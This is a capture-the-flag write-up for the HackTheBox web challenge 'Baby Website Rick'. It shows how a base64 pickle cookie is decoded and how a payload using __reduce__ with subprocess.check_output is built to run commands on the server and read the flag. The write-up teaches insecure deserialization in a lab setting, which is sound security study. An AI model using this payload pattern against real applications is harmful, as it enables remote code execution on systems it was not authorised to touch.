๐Ÿ“ƒ
Writeups
Blog
  • โ„น๏ธwhoami
  • ๐Ÿ‘ฉโ€๐Ÿ’ปBinary Exploitation
    • Basic Binary Protections
    • ROP
    • Format String Bug
    • Stack Pivoting
    • Partial Overwrite
    • Symbolic Execution
    • Heap
      • Heap Basics
      • Heap Overflow
      • Heap Grooming
      • Use After Free / Double Free
      • Fast Bin Attack
      • One By Off Overwrite
      • House of Force
  • ๐ŸŽฎHackTheBox
    • Challenges
      • Baby Website Rick
      • Space pirate: Entrypoint
    • Boxes
      • Analysis
      • DevOops
      • Celestial
      • Rebound
      • CozyHosting
      • Authority
  • ๐Ÿ“„CTF Writeups
    • CTF Writeups
      • USCTF 2024
        • Spooky Query Leaks
      • HackTheVote
        • Comma-Club (Revenge)
      • HeroCTF 2024
        • Heappie
      • Buckeye 2024
        • No-Handouts
      • TetCTF 2024
        • TET & 4N6
      • PatriotCTF 2023
        • ML Pyjail
        • Breakfast Club
    • Authored Challenges
      • Team Rocket
Powered by GitBook
On this page
  1. HackTheBox
  2. Challenges

Baby Website Rick

Pickle Deserialization with a slight twist

PreviousChallengesNextSpace pirate: Entrypoint

Last updated 1 year ago

We are presented with a web application that seems to point to some form of pickle deserialization attack from the start.

We can also see that a suspicious looking base64 string is encoded in the cookie, which seems to be a pickle object.

We can first try to decode the existing pickle object with pickle.loads, adding the appropriate anti_pickle_serum object.

import pickle
import base64

data = 'KGRwMApTJ3NlcnVtJwpwMQpjY29weV9yZWcKX3JlY29uc3RydWN0b3IKcDIKKGNfX21haW5fXwphbnRpX3BpY2tsZV9zZXJ1bQpwMwpjX19idWlsdGluX18Kb2JqZWN0CnA0Ck50cDUKUnA2CnMu'
class anti_pickle_serum(object):
    def __init__(self):
        return None
    
data =  pickle.loads(base64.b64decode(data))
print(data)
## OUTPUT
(12) โ”Œโ”€โ”€(12)โ”€(kaliใ‰ฟkali)-[~/Desktop/CTF/Web/Baby Website Rick]
โ””โ”€$ python2 decode.py 
{'serum': <__main__.anti_pickle_serum object at 0x7f8b351843d0>}
                

After some trial and error, i realized that os.system() doesnt directly return my command output which is why i opted for subprocess.check_output as it captures the standard output of the external command as a string and returns it.

import pickle
import base64
import subprocess
import os
class RCEStr(object):
    def __reduce__(self):
        #if output is not shown, can use subprocess.check_output as well
        return  (subprocess.check_output), (['cat','flag_wIp1b'],)
    
pickle_data = pickle.dumps({'serum': RCEStr()})
payload = base64.urlsafe_b64encode(pickle_data)
print(payload.decode('utf-8'))

Pickle's Protocol might matter in this case as well as the version of python that you are using as I only got it to work with python2 and protocol 0.

We can now craft our payload based on , using the __reduce__ attribute to place our malicious code.

๐ŸŽฎ
this article